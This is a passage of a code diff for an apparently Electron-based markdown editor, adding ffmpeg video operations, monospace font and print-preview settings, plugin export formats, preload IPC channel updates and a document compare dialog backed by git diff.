 function build({ fontTtfPath, boldTtfPath, ligatures }) {
  if (!fontTtfPath) {
    return '% Monospace font path unavailable; TeX will use its default monospace.\n';
  }
  // `boldTtfPath` is accepted for API symmetry with future formats; the glob
  // below resolves the bold file from the regular file's family prefix.
  void boldTtfPath;
  const ligValue = ligatures ? 'Ligatures=TeX' : 'Ligatures=NoCommon';
  const prefix = escape(weightPrefix(fontTtfPath));
  return `\\usepackage{fontspec}
 \\setmonofont[Path=${escape(dirOf(fontTtfPath))},Extension=.ttf,UprightFont=*-Regular,BoldFont=*-Bold,${ligValue}]{${prefix}}
 `;
 }
 module.exports = { build };
@@ -0,0 +1,145 @@
 /**
 * Video Operations Module
 *
 * Handles video manipulation via `ffmpeg`: format conversion, compression, trim,
 * frame extraction, and GIF conversion. Because ffmpeg is an external binary, this
 * module is split into pure/testable argument-builder functions and a single
 * `executeOperation` that is the only piece which actually spawns ffmpeg — the
 * ffmpeg binary path and the `execFile` implementation are both injected so tests
 * can replace them with fakes, without invoking a real binary.
 *
 * @module VideoOperations
 */
 const fs = require('fs');
 const path = require('path');
 const { execFile } = require('child_process');
 /**
 * Build args for a straight format conversion. ffmpeg infers the output format
 * from outputPath's extension.
 */
 function buildConvertArgs({ inputPath, outputPath }) {
  return ['-i', inputPath, '-y', outputPath];
 }
 /**
 * Build args to re-encode inputPath with libx264 at the given CRF (Constant Rate
 * Factor). Lower CRF = higher quality/larger file, per libx264 convention. crf
 * must be an integer in [0, 51].
 */
 function buildCompressArgs({ inputPath, outputPath, crf = 28 }) {
  if (!Number.isInteger(crf) || crf < 0 || crf > 51) {
    throw new Error('Invalid crf: must be an integer between 0 and 51');
  }
  return ['-i', inputPath, '-vcodec', 'libx264', '-crf', String(crf), '-y', outputPath];
 }
 /**
 * Build args to trim inputPath to [startTime, startTime + duration) seconds.
 * startTime/duration must be finite, non-negative numbers — they become argv
 * elements passed straight to execFile with no shell involved, so there's no
 * injection risk, but malformed values should still fail fast rather than reach
 * ffmpeg with garbage.
 */
 function buildTrimArgs({ inputPath, outputPath, startTime, duration }) {
  const isValid = (n) => typeof n === 'number' && Number.isFinite(n) && n >= 0;
  if (!isValid(startTime) || !isValid(duration)) {
    throw new Error('Invalid trim range');
  }
  return ['-i', inputPath, '-ss', String(startTime), '-t', String(duration), '-y', outputPath];
 }
 /**
 * Build args to extract frames from inputPath at fps frames-per-second, written
 * as sequentially numbered PNGs into outputDir. fps must be a positive finite
 * number.
 */
 function buildFramesArgs({ inputPath, outputDir, fps = 1 }) {
  if (typeof fps !== 'number' || !Number.isFinite(fps) || fps <= 0) {
    throw new Error('Invalid fps: must be a positive finite number');
  }
  return ['-i', inputPath, '-vf', `fps=${fps}`, path.join(outputDir, 'frame-%04d.png')];
 }
 /**
 * Build args to convert inputPath to an animated GIF at the given fps and width
 * (height scales automatically via -1), using the lanczos scaling filter.
 */
 function buildGifArgs({ inputPath, outputPath, fps = 10, width = 480 }) {
  return ['-i', inputPath, '-vf', `fps=${fps},scale=${width}:-1:flags=lanczos`, '-y', outputPath];
 }
 /**
 * Run ffmpeg with the given args via the injected execFileFn, wrapped in a Promise.
 */
 function runFfmpeg(ffmpegPath, args, execFileFn) {
  return new Promise((resolve, reject) => {
    execFileFn(ffmpegPath, args, { maxBuffer: 10 * 1024 * 1024 }, (error, stdout, stderr) => {
      if (error) {
        reject(new Error(stderr || error.message));
        return;
      }
      resolve();
    });
  });
 }
 async function executeOperation(operation, data, { ffmpegPath, execFileFn } = {}) {
  const resolvedFfmpegPath = ffmpegPath || 'ffmpeg';
  const resolvedExecFileFn = execFileFn || execFile;
  switch (operation) {
    case 'convert': {
      const { inputPath, outputPath } = data || {};
      const args = buildConvertArgs({ inputPath, outputPath });
      await runFfmpeg(resolvedFfmpegPath, args, resolvedExecFileFn);
      return { success: true, outputPath };
    }
    case 'compress': {
      const { inputPath, outputPath, crf } = data || {};
      const args = buildCompressArgs({ inputPath, outputPath, crf });
      await runFfmpeg(resolvedFfmpegPath, args, resolvedExecFileFn);
      return { success: true, outputPath };
    }
    case 'trim': {
      const { inputPath, outputPath, startTime, duration } = data || {};
      const args = buildTrimArgs({ inputPath, outputPath, startTime, duration });
      await runFfmpeg(resolvedFfmpegPath, args, resolvedExecFileFn);
      return { success: true, outputPath };
    }
    case 'frames': {
      const { inputPath, outputDir, fps } = data || {};
      const args = buildFramesArgs({ inputPath, outputDir, fps });
      fs.mkdirSync(outputDir, { recursive: true });
      await runFfmpeg(resolvedFfmpegPath, args, resolvedExecFileFn);
      return { success: true, outputDir };
    }
    case 'gif': {
      const { inputPath, outputPath, fps, width } = data || {};
      const args = buildGifArgs({ inputPath, outputPath, fps, width });
      await runFfmpeg(resolvedFfmpegPath, args, resolvedExecFileFn);
      return { success: true, outputPath };
    }
    default:
      throw new Error(`Unknown operation: ${operation}`);
  }
 }
 module.exports = {
  executeOperation,
  buildConvertArgs,
  buildCompressArgs,
  buildTrimArgs,
  buildFramesArgs,
  buildGifArgs,
 };
@@ -0,0 +1,52 @@
 /**
 * collectFilesByExtension
 *
 * Recursively (optionally) collects files under a directory whose extension matches
 * one of a given set of extensions. Generalizes the `collectFiles()` closure defined
 * inside `ipcMain.on('universal-convert-batch', ...)` in main.js (which matches a
 * single `.${fromFormat}` extension) to match against an arbitrary extension list —
 * used by the batch-image/audio/video-operation handlers, which need to match several
 * possible input extensions per media kind (e.g. .jpg/.jpeg/.png/... for images).
 *
 * Pulled out as its own module (rather than an inline closure like the original) so it
 * can be unit tested without Electron.
 *
 * @module collectFilesByExtension
 */
 const fs = require('fs');
 const path = require('path');
 /**
 * @param {string} dir - Directory to scan.
 * @param {string[]} extensions - Extensions to match, each including the leading dot
 *   (e.g. ['.jpg', '.png']). Matching is case-insensitive.
 * @param {boolean} [includeSubfolders=true] - Recurse into subdirectories.
 * @returns {string[]} Absolute paths of matching files, in directory-walk order.
 */
 function collectFilesByExtension(dir, extensions, includeSubfolders = true) {
  const normalizedExts = (extensions || []).map((ext) => ext.toLowerCase());
  const results = [];
  function walk(currentDir) {
    const entries = fs.readdirSync(currentDir, { withFileTypes: true });
    for (const entry of entries) {
      const fullPath = path.join(currentDir, entry.name);
      if (entry.isDirectory()) {
        if (includeSubfolders) {
          walk(fullPath);
        }
      } else if (entry.isFile()) {
        const ext = path.extname(entry.name).toLowerCase();
        if (normalizedExts.includes(ext)) {
          results.push(fullPath);
        }
      }
    }
  }
  walk(dir);
  return results;
 }
 module.exports = { collectFilesByExtension };
@@ -0,0 +1,21 @@
 'use strict';
 const FAMILY_BY_KEY = {
  'jetbrains-mono': 'JetBrains Mono',
  'fira-code': 'Fira Code',
 };
 function getDefaults() {
  return Object.freeze({ monospaceFont: 'jetbrains-mono', monospaceLigatures: false });
 }
 function getActiveMonoFont(settings) {
  const key = settings && settings.monospaceFont;
  return FAMILY_BY_KEY[key] || 'JetBrains Mono';
 }
 function isLigaturesEnabled(settings) {
  return Boolean(settings && settings.monospaceLigatures === true);
 }
 module.exports = { getDefaults, getActiveMonoFont, isLigaturesEnabled, FAMILY_BY_KEY };
@@ -29,6 +29,7 @@ class WritingStudioPlugin extends PluginAPI {
    this._registerCommands(context);
    this._registerStatusBar(context);
    this._registerExportFormats(context);
  }
  _registerCommands(context) {
@@ -120,6 +121,42 @@ class WritingStudioPlugin extends PluginAPI {
    });
  }
  // Example usage of context.formats.registerExportFormat (Task 17): adds
  // a "Writing Studio Summary" entry to the Export menu that writes a
  // plain-text snapshot of today's sprint/goal progress instead of going
  // through Pandoc. Doubles as documentation for how a plugin can offer
  // its own export target.
  _registerExportFormats(context) {
    const { sprintEngine, goalTracker } = this;
    context.formats.registerExportFormat('sprint-summary', {
      label: 'Writing Studio Summary (.txt)',
      extension: 'txt',
      handler: async (markdownContent, outputPath) => {
        const fs = require('fs');
        const goal = context.settings.get('dailyGoal') || 1000;
        const progress = goalTracker.getDailyProgress(goal);
        const streak = goalTracker.getStreak(goal);
        const wordCount = (markdownContent || '').split(/\s+/).filter(Boolean).length;
        const lines = [
          'Writing Studio Summary',
          '=======================',
          `Generated: ${new Date().toISOString()}`,
          '',
          `Document word count: ${wordCount}`,
          `Daily goal: ${goal}`,
          `Words written today: ${progress.written} (${progress.pct}%)`,
          `Current streak: ${streak} day(s)`,
          `Sprint active: ${sprintEngine.isActive() ? 'yes' : 'no'}`,
          '',
        ];
        fs.writeFileSync(outputPath, lines.join('\n'), 'utf-8');
      },
    });
  }
  deactivate() {
    if (this._sprintInterval) clearInterval(this._sprintInterval);
  }
@@ -32,7 +32,14 @@
        "shortcut": "Ctrl+Alt+G"
      }
    ],
-    "statusBar": { "indicators": ["sprint-timer", "word-goal"] }
+    "statusBar": { "indicators": ["sprint-timer", "word-goal"] },
    "exportFormats": [
      {
        "id": "sprint-summary",
        "label": "Writing Studio Summary (.txt)",
        "extension": "txt"
      }
    ]
  },
  "settings": [
    { "key": "dailyGoal", "type": "number", "default": 1000, "label": "Daily word goal" },
@@ -0,0 +1,40 @@
 /**
 * FormatRegistry — tracks export formats registered by plugins via
 * `context.formats.registerExportFormat(id, opts)`.
 *
 * Mirrors the simple Map-backed storage pattern used by PluginRegistry
 * (see plugin-registry.js), scoped to a single concern: export format
 * metadata + handler functions rather than whole plugin instances.
 */
 class FormatRegistry {
  constructor() {
    this.formats = new Map();
  }
  /**
   * Register (or overwrite) an export format entry.
   * @param {string} id - Fully-namespaced format id, e.g. "writing-studio:sprint-summary"
   * @param {object} opts - { label, extension, handler: async (markdownContent, outputPath, options) => void }
   */
  register(id, opts) {
    this.formats.set(id, opts);
  }
  /**
   * Look up a single registered format entry by its namespaced id.
   * @param {string} id
   * @returns {object|undefined}
   */
  get(id) {
    return this.formats.get(id);
  }
  /**
   * Return all registered formats as an array of { id, ...opts }.
   */
  getAll() {
    return Array.from(this.formats.entries()).map(([id, opts]) => ({ id, ...opts }));
  }
 }
 module.exports = { FormatRegistry };
@@ -10,10 +10,21 @@ class PluginContext {
   * @param {object} deps.editor - { getContent, getSelection, insertAtCursor, onContentChanged }
   * @param {object} deps.ipc - { invoke, on }
   * @param {object} deps.exportHooks - { preHooks: [], postHooks: [] }
   * @param {object} deps.formatRegistry - FormatRegistry instance ({ register, get, getAll })
   */
  constructor(deps) {
-    const { pluginId, sidebar, commands, statusBar, eventBus, settings, editor, ipc, exportHooks } =
+    const {
-      deps;
+      pluginId,
      sidebar,
      commands,
      statusBar,
      eventBus,
      settings,
      editor,
      ipc,
      exportHooks,
      formatRegistry,
    } = deps;
    this.sidebar = {
      registerPanel: (id, opts) => sidebar.registerPanel(`${pluginId}:${id}`, opts),
@@ -69,6 +80,19 @@ class PluginContext {
        if (exportHooks) exportHooks.postHooks.push(handler);
      },
    };
    this.formats = {
      /**
       * Register a plugin-provided export format. It is namespaced as
       * `${pluginId}:${id}` so plugins can't collide with each other or
       * with the built-in Pandoc-backed formats.
       * @param {string} id - Format id, unique within this plugin.
       * @param {object} opts - { label, extension, handler: async (markdownContent, outputPath, options) => void }
       */
      registerExportFormat: (id, opts) => {
        if (formatRegistry) formatRegistry.register(`${pluginId}:${id}`, opts);
      },
    };
  }
 }
@@ -33,6 +33,7 @@ class PluginRegistry {
      editor: this.deps.editor,
      ipc: this.deps.ipc,
      exportHooks: this.exportHooks,
      formatRegistry: this.deps.formatRegistry,
    });
    try {
@@ -12,7 +12,7 @@
 * @version 4.4.1
 */
-const { contextBridge, ipcRenderer } = require('electron');
+const { contextBridge, ipcRenderer, webUtils } = require('electron');
 // Define allowed IPC channels for security
 const ALLOWED_SEND_CHANNELS = [
@@ -36,6 +36,10 @@ const ALLOWED_SEND_CHANNELS = [
  'export-with-options',
  'export-spreadsheet',
  // Plugin export formats
  'plugin-export-formats-registered',
  'plugin-export-format-result',
  // Batch conversion
  'batch-convert',
  'select-folder',
@@ -45,26 +49,17 @@ const ALLOWED_SEND_CHANNELS = [
  'universal-convert-batch',
  // Image converter
-  'image-convert',
+  'process-image-operation',
-  'image-batch-convert',
+  'select-image-folder',
-  'image-resize',
+  'batch-image-operation',
  'image-compress',
  'image-rotate',
  // Audio converter
-  'audio-convert',
+  'process-audio-operation',
-  'audio-batch-convert',
+  'batch-audio-operation',
  'audio-extract',
  'audio-trim',
  'audio-merge',
  // Video converter
-  'video-convert',
+  'process-video-operation',
-  'video-batch-convert',
+  'batch-video-operation',
  'video-compress',
  'video-trim',
  'video-frames',
  'video-gif',
  // Header/Footer
  'get-header-footer-settings',
@@ -73,17 +68,28 @@ const ALLOWED_SEND_CHANNELS = [
  'save-header-footer-logo',
  'clear-header-footer-logo',
  // Word template settings
  'get-word-template-settings',
  'save-word-template-settings',
  'browse-word-template',
  'clear-word-template',
  // Export presets (invoke channels — gated by this same array)
  'get-export-presets',
  'save-export-preset',
  'delete-export-preset',
  // Page settings
  'get-page-settings',
  'update-page-settings',
  // Template settings
  'set-custom-start-page',
  // PDF operations
  'process-pdf-operation',
  'get-pdf-page-count',
  'get-pdf-form-fields',
  'get-pdf-capabilities',
  'select-pdf-folder',
  'batch-pdf-operation',
  // ASCII generator (separate window)
  'open-ascii-generator',
@@ -116,6 +122,10 @@ const ALLOWED_SEND_CHANNELS = [
  'git-stage',
  'git-commit',
  'git-log',
  'git-branches',
  'git-checkout',
  'git-push',
  'git-pull',
  // Snippets
  'get-snippets',
@@ -141,6 +151,10 @@ const ALLOWED_SEND_CHANNELS = [
  // Plugin settings
  'plugin-settings:get',
  'plugin-settings:set',
  // Monospace font settings
  'get-monospace-settings',
  'set-monospace-settings',
 ];
 const ALLOWED_RECEIVE_CHANNELS = [
@@ -168,6 +182,7 @@ const ALLOWED_RECEIVE_CHANNELS = [
  // Font
  'adjust-font-size',
  'monospace-setting-change',
  // Print
  'print-preview',
@@ -179,6 +194,7 @@ const ALLOWED_RECEIVE_CHANNELS = [
  'show-universal-converter-dialog',
  'show-table-generator',
  'show-pdf-editor-dialog',
  'show-document-compare',
  // Converter dialogs
  'show-image-converter',
@@ -196,22 +212,34 @@ const ALLOWED_RECEIVE_CHANNELS = [
  'audio-conversion-complete',
  'video-conversion-complete',
  // Batch media operations (Image/Audio/Video Tools dialog batch mode)
  'media-batch-progress',
  'media-batch-complete',
  // Folder selection
  'folder-selected',
  'pdf-folder-selected',
  'image-folder-selected',
  // Header/Footer
  'header-footer-settings-data',
  'header-footer-logo-selected',
  'header-footer-logo-saved',
  // Word template settings
  'word-template-settings-data',
  'word-template-browsed',
  'open-word-template-dialog',
  // Page settings
  'page-settings-data',
  // PDF operations
  'pdf-page-count',
  'pdf-form-fields',
  'pdf-operation-complete',
  'pdf-operation-error',
  'pdf-batch-complete',
  // ASCII Art Generator
  'show-ascii-generator-window',
@@ -238,6 +266,9 @@ const ALLOWED_RECEIVE_CHANNELS = [
  'toggle-command-palette',
  'toggle-sidebar-panel',
  'toggle-bottom-panel',
  // Plugin export formats
  'run-plugin-export-format',
 ];
 /**
@@ -401,7 +432,21 @@ contextBridge.exposeInMainWorld('electronAPI', {
  page: {
    getSettings: () => ipcRenderer.send('get-page-settings'),
    updateSettings: (settings) => ipcRenderer.send('update-page-settings', settings),
-    setCustomStartPage: (pageNumber) => ipcRenderer.send('set-custom-start-page', pageNumber),
+  },
  /**
   * Resolve a File object chosen via `<input type="file">` to its absolute
   * path. `File.path` was removed in Electron 32; `webUtils.getPathForFile`
   * is its replacement. Falls back to `file.path` on older Electron where
   * webUtils is unavailable.
   * @param {File} file - File object from a file input's files list
   * @returns {string | undefined} Absolute filesystem path when resolvable
   */
  getFilePath: (file) => {
    if (webUtils && typeof webUtils.getPathForFile === 'function') {
      return webUtils.getPathForFile(file);
    }
    return file && file.path;
  },
  // PDF Operations
@@ -411,34 +456,6 @@ contextBridge.exposeInMainWorld('electronAPI', {
    selectFolder: (inputId) => ipcRenderer.send('select-pdf-folder', inputId),
  },
  // Image Converter Operations
  image: {
    convert: (data) => ipcRenderer.send('image-convert', data),
    batchConvert: (data) => ipcRenderer.send('image-batch-convert', data),
    resize: (data) => ipcRenderer.send('image-resize', data),
    compress: (data) => ipcRenderer.send('image-compress', data),
    rotate: (data) => ipcRenderer.send('image-rotate', data),
  },
  // Audio Converter Operations
  audio: {
    convert: (data) => ipcRenderer.send('audio-convert', data),
    batchConvert: (data) => ipcRenderer.send('audio-batch-convert', data),
    extract: (data) => ipcRenderer.send('audio-extract', data),
    trim: (data) => ipcRenderer.send('audio-trim', data),
    merge: (data) => ipcRenderer.send('audio-merge', data),
  },
  // Video Converter Operations
  video: {
    convert: (data) => ipcRenderer.send('video-convert', data),
    batchConvert: (data) => ipcRenderer.send('video-batch-convert', data),
    compress: (data) => ipcRenderer.send('video-compress', data),
    trim: (data) => ipcRenderer.send('video-trim', data),
    extractFrames: (data) => ipcRenderer.send('video-frames', data),
    toGif: (data) => ipcRenderer.send('video-gif', data),
  },
  // Generator Windows
  generators: {
    openAscii: () => ipcRenderer.send('open-ascii-generator'),
@@ -1,11 +1,58 @@
 const fs = require('fs');
 const path = require('path');
 function getBundledFontWoff2Path(familyKey, weight) {
  // Renderer can read directly from disk because nodeIntegration is on.
  // Try repo-relative first, then packaged app.asar mirror.
  const familyDir = familyKey === 'fira-code' ? 'FiraCode' : 'JetBrainsMono';
  const weightName = weight >= 700 ? 'Bold' : 'Regular';
  const filename = `${familyDir}-${weightName}.woff2`;
  const repoPath = path.resolve(__dirname, '..', 'assets', 'fonts', filename);
  if (fs.existsSync(repoPath)) return repoPath;
  // Packaged: under <resourcesPath>/assets/fonts/
  if (process.resourcesPath) {
    const packaged = path.join(process.resourcesPath, 'assets', 'fonts', filename);
    if (fs.existsSync(packaged)) return packaged;
  }
  return null;
 }
 function buildFontFaceBlock(familyKey) {
  const family = familyKey === 'fira-code' ? 'Fira Code' : 'JetBrains Mono';
  const fontPath = getBundledFontWoff2Path(familyKey, 400);
  if (!fontPath) return '';
  try {
    const data = fs.readFileSync(fontPath);
    const dataUri = `data:font/woff2;base64,${data.toString('base64')}`;
    return `@font-face { font-family: '${family}'; font-weight: 400; font-style: normal; src: url('${dataUri}') format('woff2'); }`;
  } catch (err) {
    // Non-fatal: fall back to the system monospace stack declared in styles-modern.css.
    if (typeof console !== 'undefined')
      console.warn('[print-preview] font embed failed:', err.message);
    return '';
  }
 }
 class PrintPreview {
-  constructor() {
+  constructor(monospaceSettings = {}) {
    this.overlay = document.getElementById('print-preview-overlay');
    this.modal = window.modals?.printPreviewModal;
    this._lastContent = '';
    this._monospaceSettings = {
      monospaceFont: monospaceSettings.monospaceFont || 'jetbrains-mono',
      monospaceLigatures: monospaceSettings.monospaceLigatures === true,
    };
    this.setupEventListeners();
  }
  setMonospaceSettings(settings) {
    this._monospaceSettings = {
      monospaceFont: (settings && settings.monospaceFont) || 'jetbrains-mono',
      monospaceLigatures: !!(settings && settings.monospaceLigatures === true),
    };
    this.refreshPreview();
  }
  open(htmlContent) {
    this._lastContent = htmlContent;
    if (this.modal) {
@@ -79,11 +126,18 @@ class PrintPreview {
    const width = orientation === 'landscape' ? size.height : size.width;
    const height = orientation === 'landscape' ? size.width : size.height;
    const family =
      this._monospaceSettings.monospaceFont === 'fira-code' ? 'Fira Code' : 'JetBrains Mono';
    const ligaturesOn = this._monospaceSettings.monospaceLigatures === true;
    const featureSettings = ligaturesOn ? 'normal' : "'liga' 0, 'calt' 0, 'dlig' 0";
    const fontFaceBlock = buildFontFaceBlock(this._monospaceSettings.monospaceFont);
    const previewHtml = `
            <!DOCTYPE html>
            <html>
            <head>
                <style>
                    ${fontFaceBlock}
                    body {
                        margin: 20px;
                        font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
@@ -91,7 +145,18 @@ class PrintPreview {
                        line-height: 1.6;
                    }
                    @page { size: ${width} ${height}; }
-                    pre { background: #f5f5f5; padding: 12px; border-radius: 6px; overflow-x: auto; }
+                    pre, code, kbd, samp {
                        font-family: '${family}', monospace;
                        font-feature-settings: ${featureSettings};
                    }
                    pre {
                        background: #f5f5f5;
                        padding: 12px;
                        border-radius: 6px;
                        overflow-x: auto;
                        white-space: pre;
                        tab-size: 4;
                    }
                    code { background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-size: 13px; }
                    pre code { background: none; padding: 0; }
                    table { border-collapse: collapse; width: 100%; }
@@ -0,0 +1,343 @@
 /**
 * Document Compare Dialog
 *
 * Two-pane line diff opened from Tools > Document Compare (main.js sends
 * `show-document-compare`; renderer.js registers the listener).
 *
 * Construction mirrors src/renderer/media-operations-dialog.js: a modal built from
 * `.modal` / `.modal-content` / `.modal-header` / `.modal-body` / `.modal-footer`
 * markup appended to document.body on first use, driven by ModalManager, with a
 * status line reusing the `info-message` / `warning-message` classes. File
 * selection reuses the app's existing convention: a plain `<input type="file">`
 * whose chosen File is resolved to a path via `window.electronAPI.getFilePath`
 * (webUtils.getPathForFile — `File.path` was removed in Electron 32) —
 * no new IPC channel for picking files. File *contents* are read through the
 * existing `read-file` invoke channel (the same one the renderer's electronAPI
 * adapters use), not through a new privileged renderer-side file path.
 *
 * Two modes:
 *  - Local: File A (prefilled with the current tab's file, changeable) vs File B,
 *    diffed locally by the pure LCS function in src/utils/line-diff.js.
 *  - Git HEAD: the current file against its last commit, via the existing
 *    `git-diff` invoke channel with `againstHead: true` (GitOperations.diff).
 *    Git's own raw diff text is rendered verbatim, one row per line, colored by
 *    leading character — it is already a diff and is never re-diffed through
 *    line-diff. When the current file is not inside a git repository (or no file
 *    is open), the option is disabled with a hint instead of erroring.
 *
 * @module document-compare-dialog
 */
 const { ipcRenderer } = require('electron');
 const { getFilePath } = require('../utils/file-path');
 const { computeLineDiff } = require('../utils/line-diff');
 const COMPARE_ACCEPT = '.md,.markdown,.txt,.text,.log,.json,.xml,.yml,.yaml,.csv';
 const GIT_DIFF_ROW_CLASS = [
  { prefix: '@@', className: 'diff-hunk' },
  { prefix: '+++', className: 'diff-context' },
  { prefix: '---', className: 'diff-context' },
  { prefix: '+', className: 'diff-added' },
  { prefix: '-', className: 'diff-removed' },
 ];
 let modalEl = null;
 let modalManager = null;
 let els = null;
 let currentFilePath = null;
 function buildDialogDom() {
  modalEl = document.createElement('div');
  modalEl.id = 'document-compare-dialog';
  modalEl.className = 'modal hidden';
  modalEl.setAttribute('role', 'dialog');
  modalEl.setAttribute('aria-modal', 'true');
  modalEl.setAttribute('aria-labelledby', 'document-compare-title');
  modalEl.innerHTML = `
    <div class="modal-backdrop" data-close></div>
    <div class="modal-content large">
      <div class="modal-header">
        <h3 id="document-compare-title">Document Compare</h3>
        <button class="modal-close" id="document-compare-close" aria-label="Close">&times;</button>
      </div>
      <div class="modal-body">
        <div class="export-section">
          <label for="compare-mode-select">Mode:</label>
          <select id="compare-mode-select">
            <option value="local">Compare Two Files</option>
            <option value="git">Compare Current File with Git HEAD</option>
          </select>
          <small id="compare-git-hint" class="hidden"></small>
        </div>
        <div id="compare-local-section">
          <div class="export-section">
            <label for="compare-file-a-input">File A (original):</label>
            <div class="folder-input-group">
              <input type="text" id="compare-file-a-input" readonly>
              <button type="button" id="compare-file-a-browse">Choose File A</button>
            </div>
          </div>
          <div class="export-section">
            <label for="compare-file-b-input">File B (revised):</label>
            <div class="folder-input-group">
              <input type="text" id="compare-file-b-input" readonly>
              <button type="button" id="compare-file-b-browse">Choose File B</button>
            </div>
          </div>
        </div>
        <div id="compare-git-section" class="hidden">
          <div class="export-section">
            <label>Current file:</label>
            <code id="compare-git-file"></code>
          </div>
        </div>
        <div id="compare-status-message" class="info-message hidden" aria-live="polite"></div>
        <div id="compare-result" class="diff-view hidden"></div>
      </div>
      <div class="modal-footer">
        <button id="document-compare-cancel" class="btn btn-secondary" data-close>Close</button>
        <button id="document-compare-run" class="btn btn-primary">Compare</button>
      </div>
    </div>
  `;
  document.body.appendChild(modalEl);
  els = {
    modeSelect: modalEl.querySelector('#compare-mode-select'),
    gitHint: modalEl.querySelector('#compare-git-hint'),
    localSection: modalEl.querySelector('#compare-local-section'),
    fileAInput: modalEl.querySelector('#compare-file-a-input'),
    fileABrowse: modalEl.querySelector('#compare-file-a-browse'),
    fileBInput: modalEl.querySelector('#compare-file-b-input'),
    fileBBrowse: modalEl.querySelector('#compare-file-b-browse'),
    gitSection: modalEl.querySelector('#compare-git-section'),
    gitFile: modalEl.querySelector('#compare-git-file'),
    status: modalEl.querySelector('#compare-status-message'),
    result: modalEl.querySelector('#compare-result'),
    runBtn: modalEl.querySelector('#document-compare-run'),
    cancelBtn: modalEl.querySelector('#document-compare-cancel'),
  };
  els.modeSelect.addEventListener('change', updateModeSections);
  els.fileABrowse.addEventListener('click', () => chooseFile(els.fileAInput));
  els.fileBBrowse.addEventListener('click', () => chooseFile(els.fileBInput));
  els.runBtn.addEventListener('click', handleCompare);
  els.cancelBtn.addEventListener('click', hideDialog);
  modalManager = new window.ModalManager(modalEl);
 }
 function ensureDialog() {
  if (!modalEl) {
    buildDialogDom();
  }
 }
 // Same renderer-side picker the Media Operations and PDF Editor dialogs use.
 function chooseFile(input) {
  const fileInput = document.createElement('input');
  fileInput.type = 'file';
  fileInput.accept = COMPARE_ACCEPT;
  fileInput.onchange = (e) => {
    const file = e.target.files[0];
    if (file) {
      input.value = getFilePath(file);
      clearResult();
    }
  };
  fileInput.click();
 }
 function clearStatus() {
  if (!els.status) return;
  els.status.textContent = '';
  els.status.classList.remove('info-message', 'warning-message', 'success-message');
  els.status.classList.add('hidden');
 }
 function showStatus(message, type = 'info') {
  if (!els.status) return;
  els.status.textContent = message;
  els.status.classList.remove('hidden', 'info-message', 'warning-message', 'success-message');
  els.status.classList.add(`${type}-message`);
 }
 function clearResult() {
  if (!els.result) return;
  els.result.innerHTML = '';
  els.result.classList.add('hidden');
 }
 function updateModeSections() {
  const isGit = els.modeSelect.value === 'git';
  els.localSection.classList.toggle('hidden', isGit);
  els.gitSection.classList.toggle('hidden', !isGit);
  clearStatus();
  clearResult();
 }
 function appendDiffRow(className, text, marker) {
  const row = document.createElement('div');
  row.className = `diff-row ${className}`;
  const markerSpan = document.createElement('span');
  markerSpan.className = 'diff-marker';
  markerSpan.textContent = marker;
  const textSpan = document.createElement('span');
  textSpan.className = 'diff-text';
  // Non-breaking space keeps empty lines one row tall under pre-wrap.
  textSpan.textContent = text === '' ? ' ' : text;
  row.appendChild(markerSpan);
  row.appendChild(textSpan);
  els.result.appendChild(row);
 }
 // Mode 1: local two-file diff through the pure LCS line-diff function.
 function renderLocalDiff(entries) {
  clearResult();
  entries.forEach((entry) => {
    const marker = entry.type === 'added' ? '+' : entry.type === 'removed' ? '-' : '';
    const rowClass = entry.type === 'unchanged' ? 'diff-context' : `diff-${entry.type}`;
    appendDiffRow(rowClass, entry.text, marker);
  });
  els.result.classList.remove('hidden');
 }
 // Mode 2: git's own diff text, rendered verbatim (one row per line), colored by
 // leading character. This is presentation only — the text is never re-diffed.
 function renderGitDiff(rawDiff) {
  clearResult();
  rawDiff.split('\n').forEach((line) => {
    const match = GIT_DIFF_ROW_CLASS.find(({ prefix }) => line.startsWith(prefix));
    const className = match ? match.className : 'diff-context';
    appendDiffRow(className, line, '');
  });
  els.result.classList.remove('hidden');
 }
 async function compareLocalFiles() {
  const pathA = els.fileAInput.value.trim();
  const pathB = els.fileBInput.value.trim();
  if (!pathA || !pathB) {
    showStatus('Choose both files to compare.', 'warning');
    return;
  }
  clearStatus();
  clearResult();
  let contentA;
  let contentB;
  try {
    contentA = await ipcRenderer.invoke('read-file', pathA);
    contentB = await ipcRenderer.invoke('read-file', pathB);
  } catch (err) {
    showStatus(`Error reading file: ${err.message}`, 'warning');
    return;
  }
  const entries = computeLineDiff(contentA, contentB);
  const added = entries.filter((entry) => entry.type === 'added').length;
  const removed = entries.filter((entry) => entry.type === 'removed').length;
  if (added === 0 && removed === 0) {
    showStatus('Files are identical.', 'info');
    return;
  }
  renderLocalDiff(entries);
  showStatus(`${added} line(s) added, ${removed} line(s) removed.`, 'success');
 }
 async function compareWithGitHead() {
  if (!currentFilePath) {
    showStatus('No file is open — save the current document first.', 'warning');
    return;
  }
  clearStatus();
  clearResult();
  let rawDiff;
  try {
    rawDiff = await ipcRenderer.invoke('git-diff', { file: currentFilePath, againstHead: true });
  } catch (err) {
    showStatus(`Error: ${err.message}`, 'warning');
    return;
  }
  if (rawDiff && typeof rawDiff === 'object' && rawDiff.error) {
    showStatus(`Git diff unavailable: ${rawDiff.error}`, 'warning');
    return;
  }
  if (!rawDiff || rawDiff.trim() === '') {
    showStatus('No differences against HEAD.', 'info');
    return;
  }
  renderGitDiff(rawDiff);
 }
 async function handleCompare() {
  if (els.modeSelect.value === 'git') {
    await compareWithGitHead();
  } else {
    await compareLocalFiles();
  }
 }
 // The Git HEAD option must degrade gracefully (disabled + hint), never error:
 // no file open, or the file's directory is not a git repository.
 async function refreshGitModeAvailability() {
  const gitOption = els.modeSelect.querySelector('option[value="git"]');
  if (!gitOption) return;
  const disableGitOption = (hint) => {
    gitOption.disabled = true;
    els.gitHint.textContent = hint;
    els.gitHint.classList.remove('hidden');
    if (els.modeSelect.value === 'git') {
      els.modeSelect.value = 'local';
      updateModeSections();
    }
  };
  if (!currentFilePath) {
    disableGitOption('Open (or save) a file to compare it with its git history.');
    return;
  }
  try {
    const status = await ipcRenderer.invoke('git-status');
    if (status && typeof status === 'object' && status.error) {
      disableGitOption('Current file is not inside a git repository.');
      return;
    }
  } catch (err) {
    disableGitOption(`Git check failed: ${err.message}`);
    return;
  }
  gitOption.disabled = false;
  els.gitHint.textContent = '';
  els.gitHint.classList.add('hidden');
 }
 function hideDialog() {
  if (modalManager) modalManager.close();
  clearStatus();
  clearResult();
 }
 /**
 * Open the Document Compare dialog.
 * @param {object} [context] - Current editor context from renderer.js.
